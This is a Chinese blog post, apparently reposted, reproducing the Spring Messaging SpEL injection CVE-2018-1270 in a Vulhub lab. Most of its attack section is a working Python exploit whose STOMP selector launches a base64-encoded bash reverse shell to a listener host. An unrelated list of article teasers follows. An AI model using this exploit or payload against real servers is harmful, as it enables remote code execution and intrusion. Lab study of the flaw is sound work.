spring常见漏洞(4)

CVE-2018-1270

Spring Messaging 命令执行漏洞(CVE-2018-1270),Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。

影响版本

Spring Framework 5.0 - 5.0.5 Spring Framework 4.3 - 4.3.15

漏洞分析

expressiongetValuesetValue造成的代码执行,造成这种命令执行是由Spring的SPEL表达式造成的

SPEL命令执行有两种方式,一是静态方法,二是new 对象

再看一下spring-boot-messaging实现中的代码

Expression expression = sub.getSelectorExpression();
if (expression == null) {
    result.add(sessionId, subId);
} else {
    if (context == null) {
        context = new StandardEvaluationContext(message);
        context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor());
    }

    try {
        if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
            result.add(sessionId, subId);
        }
    } catch (SpelEvaluationException var13) {
        if (this.logger.isDebugEnabled()) {
            this.logger.debug("Failed to evaluate selector: " + var13.getMessage());
        }
    } catch (Throwable var14) {
        this.logger.debug("Failed to evaluate selector", var14);
    }
}

 

那么一是可以利用sub.getSelectorExpression()得到selector的表达式,二是利用Boolean.TRUE.equals(expression.getValue(context, Boolean.class))获取表达式的值,从而造成命令执行

漏洞复现

进入CVE-2018-1270的docker漏洞环境

访问http://192.168.1.10:8080/gs-guide-websocket

这里直接使用前辈们写好的exp,注意修改一下bash命令和靶机地址即可

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
 
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
 
def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))
 
 
class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)
 
    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
     
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']
 
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
         
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])
 
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")
 
    def __del__(self):
        self.session.close()
 
 
sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
 
sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})
 
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

 首先还是bash编码

修改exp中的靶机ip和反弹命令

sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')

sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}')",

 如图所示

运行poc.py即可得到反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/328580.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

汽车用螺纹紧固件的拧紧力矩规范主要考虑哪些方面——SunTorque智能扭矩系统

在汽车制造过程中,螺纹紧固件是连接和固定各个零部件的重要元件。为了保证汽车的可靠性和安全性,对于螺纹紧固件的拧紧力矩有着严格的规定和规范。SunTorque智能扭矩系统和大家一起掌握这一重要知识点。 拧紧力矩是指将螺纹紧固件拧紧到预定位置所需的力…

Vue创建项目配置情况

刚开始接触vue项目创建和运行因为node版本和插件版本不一致时长遇到刚装好插件,项目就跑不起来的情况,特此记录一下 vue -V vue/cli 5.0.8 node -v v12.22.12 npm -v 6.14.16 关闭驼峰命名检查、未使用语法检查 package.json文件内容: {&…

0基础学习VR全景平台篇第138篇:无人机航拍实操

上课!全体起立~ 大家好,欢迎观看蛙色官方系列全景摄影课程! 为了使全景的概念体现得更为广阔和大气,我们也需要在天空上运用无人机进行全景拍摄,而无人机的拍摄相对于地面来说也是较为简单,掌握其基本的拍…

LeetCode 算法题 1.两数之和(python版)

题目要求 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。 代码 class…

电路原理1-线性电阻

前言:整理笔记基于清华大学于歆杰老师的《电路原理》,电路原理是基于无源负载和电源组成电路的分析方法。 1.基础数学知识 算术:数字之间的运算 代数:用变量和函数来代替数字 微积分:描述函数的累积效应&#xff0…

Facebook与环境保护:社交媒体的可持续发展

在当今社会,科技发展日新月异,而社交媒体作为数字时代的代表之一,正面临着巨大的责任与机遇。随着全球环境问题的凸显,社交媒体平台如Facebook也逐渐认识到自身在环保可持续发展中的角色。本文将深入探讨Facebook在环境保护方面的…

2024“华数杯”国际大学生数学建模竞赛(B题)光伏发电| 建模秘籍文章代码思路大全

铛铛!小秘籍来咯! 小秘籍希望大家都能轻松建模呀,华数杯也会持续给大家放送思路滴~ 抓紧小秘籍,我们出发吧~ 完整内容可以在文章末尾领取! 问题重述 2024 "Huashu Cup"国际数学建模竞赛 ICM 问题 B: 太…

四大软件架构:掌握单体、分布式、微服务、Serverless 的精髓

四大软件架构:掌握单体、分布式、微服务、Serverless 的精髓 简介: 如果一个软件开发人员,不了解软件架构的演进,会制约技术的选型和开发人员的生存、晋升空间。这里我列举了目前主要的四种软件架构以及他们的优缺点,…

翼龙-2H无人机

一、概述 翼龙-2,是成都飞机工业集团研制的无人驾驶飞行器,是空中侦察、精确打击和应急通讯的平台。成都飞机工业集团于2015年9月的北京国际航空航天展览会上介绍了翼龙-2的概念。在2016年珠海航展期间,翼龙-2的原型机首次向公众展示。 因为…

selenium+java 通过classname定位时中间有空格解决办法

1、如图所示,class"main-table-span title" 中有空格 如果直接通过 driver.findElement(By.classname(".main-table-span title"));来进行定位界面会出现报错 2、可以在classname的前面和空格处用.号代替通过css来定位,如下&#…

c# 视频播放之Windows Media Player

最近想给软件加个视频播放功能,在网上看有好几个方式,最后决定用 Windows Media Player 和Vlc.DotNet.Forms。 这篇文章主要讲Windows Media Player,它的优点:代码简单,视频操作功能都有,能播放网络和本地…

一场特别的捐赠活动,一份来自“远方”的温暖

1月12日,一场特别的捐赠仪式在青海省玉树州玉树市隆宝镇中心寄宿制学校举行。这所处在海拔4300多米、年均气温在零度以下高寒地区小学中的813名孩子,在这天收到了来自“远方”的祝福与温暖。 捐赠现场 12月22日,由北京演艺集团出品、北京歌剧…

2024年“华数杯”国际大学生数学建模竞赛B题思路

本题难点在于数据获取和定性定量分析,代码部分没有太大价值、就不更新了 •中国的电力供应和许多因素相互作用。请研究它们之间的关系,并预测2024年至2060年中国电力供应的发展趋势。 首先得获取数据,中国的宏观数据相对容易(包括…

C++中map按照从大到小的顺序存储元素

map按照从大到小存储元素 引言map的大致介绍概述 场景误区示例示例代码(方法一)运行结果示例代码二(方法二)运行结果 引言 在对map的使用中,由于对业务的需要,希望map中存储元素能够按照键的大小从大到小的…

跟着pink老师前端入门教程-day03

6. 表格标签 6.1 表格的主要作用 主要用于显示、展示数据&#xff0c;可以让数据显示的规整&#xff0c;可读性非常好&#xff0c;特别是后台展示数据时&#xff0c;能够熟练运用表格就显得很重要。 6.2 基本语法 <!--1. <table> </table> 是用于定义表格的标…

别找进销存试用版了,直接送你一个免费的

很多朋友在找进销存的试用版&#xff0c;花了大量的时间找&#xff0c;找到了可能也只能用一两个月。我发现了一个免费的&#xff0c;直接送给你们。 这是一个大平台的引流系统&#xff0c;吸引客户用的&#xff0c;但是我们不管他&#xff0c;我们就直接用就行了。我已经用了…

echarts通过dataZoom实现单击图像滑动

实现原理; 1.option中配置初始化的dataZoom属性&#xff0c;并确定初始化数据展现位置 2.通过graphic属性配置图标及文本&#xff0c;并添加点击事件onclick&#xff1b; 3.通过dispatchAction的type: ‘dataZoom’&#xff0c;实现数据的最终展现。 效果&#xff1a;点击1图标…

定制聚四氟乙烯溢流釜出图灵活加工

您提供想法&#xff0c;我们负责实现。

2024年第二届“华数杯”国际大学生数学建模竞赛 (B题 ICM)| 光伏发电分析 |数学建模完整代码+建模过程全解全析

光伏发电是一种重要的可再生能源。将太阳能转化为电力可以减少对传统能源的依赖,具有显著的环保和可持续发展优势。全球范围内,光伏发电正在迅速发展。目前,许多国家将光伏发电作为推动清洁能源转型的重要手段。这些国家在政策支持、技术创新和市场发展方面增加了对光伏发电的投…

【windows】右键添加git bash here菜单

在vs 里安装了git for windows 后&#xff0c;之前git-bash 右键菜单消失了。难道是git for windows 覆盖了原来自己安装的git &#xff1f;大神给出解决方案 手动添加Git Bash Here到右键菜单&#xff08;超详细&#xff09; 安装路径&#xff1a;我老的 &#xff1f; vs的gi…